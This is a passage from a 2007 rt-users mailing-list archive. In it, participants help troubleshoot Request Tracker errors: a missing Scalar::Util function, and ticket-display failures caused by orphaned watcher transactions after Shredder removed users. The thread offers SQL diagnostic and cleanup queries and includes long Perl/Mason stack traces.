In-Reply-To: <45CBEDFD.5040308@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CBE39D.2090101@yahoo.com>
	<589c94400702081941t45fa34ak6adfe945de40bc09@mail.gmail.com>
	<45CBEDFD.5040308@yahoo.com>
Message-ID: <200702090435.XAA10611@Sparkle.Rodents.Montreal.QC.CA>

[top-posting damage repaired manually -dM]

>>>> SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
>>>> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
>>>> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
>>>> Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>>> This query has me confused.  There are lowercase letters placed by
>>> themselves in locations I'm not used to seeing criteria placed.
>> I'm jsut trying to help you figure out [...]
> I know.  I just didn't understand the SQL syntax.

Then it would help to say *what* lowercase letters are puzzling you;
there are lots of lowercase letters in that query, and without knowing
which ones have you baffled, we're left guessing.

I'm going to guess that the ones that are baffling you are the alias
names, like "t" in "Tickets t" and "txn" in "Transactions txn" or "u"
in "Users u".  These are an alternative syntax for what you may know as
"Tickets AS t" or "Transaction AS txn" or "Users AS u": providing an
alternative name for referring to something elsewhere in the query (in
this case presumably for brevity, but there are cases, such as using
the same table multiple times, where this is actually necessary).

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B


From ruslan.zakirov at gmail.com  Thu Feb  8 10:07:08 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 8 Feb 2007 18:07:08 +0300
Subject: [rt-users] Undefined subroutine &Scalar::Util::weaken called
In-Reply-To: <45CADC2F.2070609@switch.ch>
References: <45CADC2F.2070609@switch.ch>
Message-ID: <589c94400702080707y481f2fawaffa97d4c5ac109d@mail.gmail.com>

Several reasons
1) the module has been installed from bad binary package, reinstall it
from CPAN or compile package yourself
2) perl and libperl have been with different options

On 2/8/07, Thomas Koch <thomas.koch at switch.ch> wrote:
> Dear list
>
> I have the RT almost up and running on a Mac OS X Server. But I ran in
> another problem.
>
> Replying to tickets isn't possible yet. The mails aren't sent to the
> requestor. I've seen lots of strange error message in the apache2
> error_log (several "Scrip Prepare died"). But I don't understand what
> they mean. I have Scalar-List-Utils-1.18 installed!
>
>
> # apache error log:
>
> [Thu Feb  8 07:58:04 2007] [error]: Scrip Prepare 7 died. - Undefined
> subroutine &Scalar::Util::weaken called at
> /opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm line 107.
>
> Stack:
>    [/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm:107]
>    [/opt/switch/rt-3.6.1/lib/RT/Action/Generic.pm:79]
>    [/opt/switch/rt-3.6.1/lib/RT/ScripAction_Overlay.pm:177]
>    [/opt/switch/rt-3.6.1/lib/RT/Scrip_Overlay.pm:472]
>    [/opt/switch/rt-3.6.1/lib/RT/Scrips_Overlay.pm:237]
>    [/opt/switch/rt-3.6.1/lib/RT/Transaction_Overlay.pm:171]
>    [/opt/switch/rt-3.6.1/lib/RT/Record.pm:1446]
>    [/opt/switch/rt-3.6.1/lib/RT/Ticket_Overlay.pm:2442]
>    [/opt/switch/rt-3.6.1/lib/RT/Ticket_Overlay.pm:2356]
>    [/opt/switch/rt-3.6.1/lib/RT/Interface/Web.pm:570]
>    [/opt/switch/rt-3.6.1/share/html/Ticket/Display.html:141]
>    [/opt/switch/rt-3.6.1/share/html/Ticket/Update.html:216]
>    [/opt/switch/rt-3.6.1/share/html/autohandler:279]
> (/opt/switch/rt-3.6.1/lib/RT/Scrip_Overlay.pm:480)
>
>
> Thanks for any help!
>
> --
> Thomas
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Fri Feb  9 00:52:12 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 9 Feb 2007 08:52:12 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <45CBF647.1040206@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CBF647.1040206@yahoo.com>
Message-ID: <589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>

On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> It would appear I removed someone that was added as a CC:
>
> +--------+-----------+---------------+--------------+-------+
> | Name   | Field     | ReferenceType | NewReference | tid   |
> +--------+-----------+---------------+--------------+-------+
> | NULL   | Cc        | NULL          |         NULL | 55767 |
> | rbates | Requestor | NULL          |         NULL | 55767 |
> +--------+-----------+---------------+--------------+-------+
>
> Is it possible to correct this?
Yes, sure.
This means that you've deleted a user who was added as Cc watcher to
ticket 55767. As well this means a bug exists in shredder and I've
fixed it and released shredder 0.05.

The following query is more informative:
SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
u.id IS NULL AND t.id = XXXXX;

This query selects only transactions with problems. txn_id column in
the result will show you problematic Transactions and NewValue column
will show you ids of the users that don't exist anymore.

You can safely delete this transactions using the following query:
DELETE FROM Transactions WHERE id IN (xxx, xxx, xxx,...);

Also, you can select all such transactions from your DB:
SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
u.id IS NULL;

If amount of the transactions is too big then I could help you write
down a delete query that will delete all this txns.



>
> Ruslan Zakirov wrote:
> > Please, run the following SQL query:
> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> >
> > Where XXXX id of the ticket. Then send me results.
> >
> >
> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> I'd like to add to this.  I've looked at the database and found that
> >> there are
> >> 63 transactions attached to this ticket.  There are also no
> >> transactions for
> >> which there isn't a user.  I've looked up the names on each user id in
> >> the
> >> transactions table and found that they correspond to someone that
> >> would likely
> >> have had a part in the ticket.
> >>
> >> There are as many user id entries as there are transactions.  What I
> >> mean is,
> >> there are multiple entries for some ids but all transactions have a
> >> user id
> >> attached to it.  This tells me that the transactions aren't corrupted
> >> by a
> >> missing user that possibly got Shredded out of the database.
> >>
> >> As I've said before, this isn't the first time we've seen this so I'm
> >> beginning
> >> to think this is a bug of some sort.
> >>
> >> The full error follows.
> >>
> >> error:          Can't call method "Name" on an undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> context:
> >> ...
> >> 686:    AddWatcher => sub {
> >> 687:    my $self = shift;
> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> >> 689:    $principal->Load($self->NewValue);
> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> >> $principal->Object->Name);
> >> 691:    },
> >> 692:    DelWatcher => sub {
> >> 693:    my $self = shift;
> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> >> ...
> >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> >> /usr/local/rt-3.6.1/share/html/autohandler:279
> >>
> >>
> >>
> >> raw error
> >> Can't call method "Name" on an undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >>
> >>
> >> Trace begun at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
> >> on an
> >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
> >> line
> >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
> >> line 690
> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
> >> called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
> >> HTML::Mason::Commands::__ANON__('Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> undef,
> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> 'Attachments',
> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> 'LastTransaction',
> >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
> >> line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> >>
> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
> >> undef,
> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction',
> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
> >> undef,
> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> >> 'ARRAY(0xc59f11c)',
> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> undef,
> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> 'Attachments',
> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> 'LastTransaction',
> >> 0) called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> >> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> >>
> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
> >> undef,
> >> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> >>
> >> 'id', 55767, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
> >> called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> >> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> >>
> >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
> >> 279
> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> >>
> >> 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1246
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 459
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 411
> >> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> line 168
> >> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> line 826
> >> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> >>
> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> >> -e line 0
> >> eval {...} at -e line 0
> >>
> >> If we don't protect the freedom of speech, how will we know who the
> >> assholes are?
> >> http://theillien.blogspot.com
> >>
> >>
> >> Mathew Snyder wrote:
> >> > I think I've asked about this before and I'm fairly certain I
> >> already know the
> >> > answer.  However, I'm not certain it should be happening.
> >> >
> >> > We keep getting the error "Can't call method "Name" on an undefined
> >> value..."
> >> > If I recall correctly this is a result of eliminating via Shredder a
> >> user which
> >> > was at one point attatched to a ticket.  The only problem with this
> >> is that the
> >> > only users I remove are those that are created when we receive spam.
> >> >
> >> > So is this the only explanation?  More and more of these tickets
> >> keep appearing
> >> > but I can't figure out how all of these users are disappearing.
> >> >
> >> > Thanks
> >> > Mathew
> >> > _______________________________________________
> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >> >
> >> > Community help: http://wiki.bestpractical.com
> >> > Commercial support: sales at bestpractical.com
> >> >
> >> >
> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> > Buy a copy at http://rtbook.bestpractical.com
> >> >
> >> _______________________________________________
> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >>
> >> Community help: http://wiki.bestpractical.com
> >> Commercial support: sales at bestpractical.com
> >>
> >>
> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >> Buy a copy at http://rtbook.bestpractical.com
> >>
> >
> >
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Fri Feb  9 01:00:00 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 9 Feb 2007 09:00:00 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CBF647.1040206@yahoo.com>
	<589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>
Message-ID: <589c94400702082200n62534f34y2c1df6895dc276f9@mail.gmail.com>

I'm terribly sorry bu here is more correct queries:

SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
txn.ReferenceType, txn.NewReference, t.id tid FROM Tickets t JOIN
Transactions txn ON txn.Type = 'AddWatcher' AND txn.ObjectType =
'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN Principals p ON p.id =
txn.NewValue WHERE p.id IS NULL AND t.id = XXX;

and

SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
txn.ReferenceType, txn.NewReference, txn.ObjectId tid FROM
Transactions txn LEFT JOIN Principals p ON p.id = txn.NewValue WHERE
txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND p.id IS
NULL;


On 2/9/07, Ruslan Zakirov <ruslan.zakirov at gmail.com> wrote:
> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> > It would appear I removed someone that was added as a CC:
> >
> > +--------+-----------+---------------+--------------+-------+
> > | Name   | Field     | ReferenceType | NewReference | tid   |
> > +--------+-----------+---------------+--------------+-------+
> > | NULL   | Cc        | NULL          |         NULL | 55767 |
> > | rbates | Requestor | NULL          |         NULL | 55767 |
> > +--------+-----------+---------------+--------------+-------+
> >
> > Is it possible to correct this?
> Yes, sure.
> This means that you've deleted a user who was added as Cc watcher to
> ticket 55767. As well this means a bug exists in shredder and I've
> fixed it and released shredder 0.05.
>
> The following query is more informative:
> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
> u.id IS NULL AND t.id = XXXXX;
>
> This query selects only transactions with problems. txn_id column in
> the result will show you problematic Transactions and NewValue column
> will show you ids of the users that don't exist anymore.
>
> You can safely delete this transactions using the following query:
> DELETE FROM Transactions WHERE id IN (xxx, xxx, xxx,...);
>
> Also, you can select all such transactions from your DB:
> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
> u.id IS NULL;
>
> If amount of the transactions is too big then I could help you write
> down a delete query that will delete all this txns.
>
>
>
> >
> > Ruslan Zakirov wrote:
> > > Please, run the following SQL query:
> > > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> > > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> > > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> > > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> > >
> > > Where XXXX id of the ticket. Then send me results.
> > >
> > >
> > > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> > >> I'd like to add to this.  I've looked at the database and found that
> > >> there are
> > >> 63 transactions attached to this ticket.  There are also no
> > >> transactions for
> > >> which there isn't a user.  I've looked up the names on each user id in
> > >> the
> > >> transactions table and found that they correspond to someone that
> > >> would likely
> > >> have had a part in the ticket.
> > >>
> > >> There are as many user id entries as there are transactions.  What I
> > >> mean is,
> > >> there are multiple entries for some ids but all transactions have a
> > >> user id
> > >> attached to it.  This tells me that the transactions aren't corrupted
> > >> by a
> > >> missing user that possibly got Shredded out of the database.
> > >>
> > >> As I've said before, this isn't the first time we've seen this so I'm
> > >> beginning
> > >> to think this is a bug of some sort.
> > >>
> > >> The full error follows.
> > >>
> > >> error:          Can't call method "Name" on an undefined value at
> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> > >> context:
> > >> ...
> > >> 686:    AddWatcher => sub {
> > >> 687:    my $self = shift;
> > >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> > >> 689:    $principal->Load($self->NewValue);
> > >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> > >> $principal->Object->Name);
> > >> 691:    },
> > >> 692:    DelWatcher => sub {
> > >> 693:    my $self = shift;
> > >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> > >> ...
> > >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> > >> /usr/local/rt-3.6.1/share/html/autohandler:279
> > >>
> > >>
> > >>
> > >> raw error
> > >> Can't call method "Name" on an undefined value at
> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> > >>
> > >>
> > >> Trace begun at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> > >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
> > >> on an
> > >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
> > >> line
> > >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
> > >> line 690
> > >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> > >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
> > >> called at
> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
> > >> HTML::Mason::Commands::__ANON__('Attachments',
> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> > >> 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> > >> undef,
> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> > >> 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> > >> 'Attachments',
> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> > >> 'LastTransaction',
> > >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
> > >> line 135
> > >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> > >>
> > >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> > >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> > >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
> > >> undef,
> > >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
> > >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'Transaction',
> > >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
> > >> undef,
> > >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> > >> 'ARRAY(0xc59f11c)',
> > >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 1245
> > >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> > >> 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> > >> undef,
> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> > >> 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> > >> 'Attachments',
> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> > >> 'LastTransaction',
> > >> 0) called at
> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> > >> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> > >> 'Attachments',
> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> > >> 'RT::Attachments=HASH(0xc98d840)') called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> > >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> > >>
> > >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
> > >> undef,
> > >> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 1245
> > >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
> > >> 'RT::Ticket=HASH(0xc54ce28)',
> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> > >> 'Attachments',
> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> > >> 'RT::Attachments=HASH(0xc98d840)') called at
> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> > >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> > >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> > >>
> > >> 'id', 55767, 'id', 55767) called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 1245
> > >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
> > >> called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> > >> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> > >>
> > >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
> > >> 279
> > >> HTML::Mason::Commands::__ANON__('id', 55767) called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> > >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> > >>
> > >> 'id', 55767) called at
